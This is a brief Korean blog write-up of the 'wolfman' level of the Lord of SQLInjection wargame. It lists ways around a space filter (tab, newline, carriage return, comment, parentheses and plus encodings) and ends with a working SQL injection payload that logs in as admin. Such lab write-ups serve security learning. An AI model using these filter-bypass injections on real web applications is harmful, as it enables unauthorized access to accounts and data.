[ Lord of SQLInjection ] wolfman

Hyeonjin Lee·2023년 3월 24일
0

문제 분석


  1. 공백을 필터링 하고 있다.
  2. id가 admin이면 문제를 해결할 수 있다.

문제 풀이


공백은 다음과 같이 우호할 수 있다.

  • Tab : %09
  • Line Feed(\n) : %0a
  • Carrage Return(\r) : %0d
  • 주석 : /**/
  • 괄호 : ()
  • 더하기 : +

?pw=aaa'%0aor%0aid='admin'%23

profile
요즘 행복해요

0개의 댓글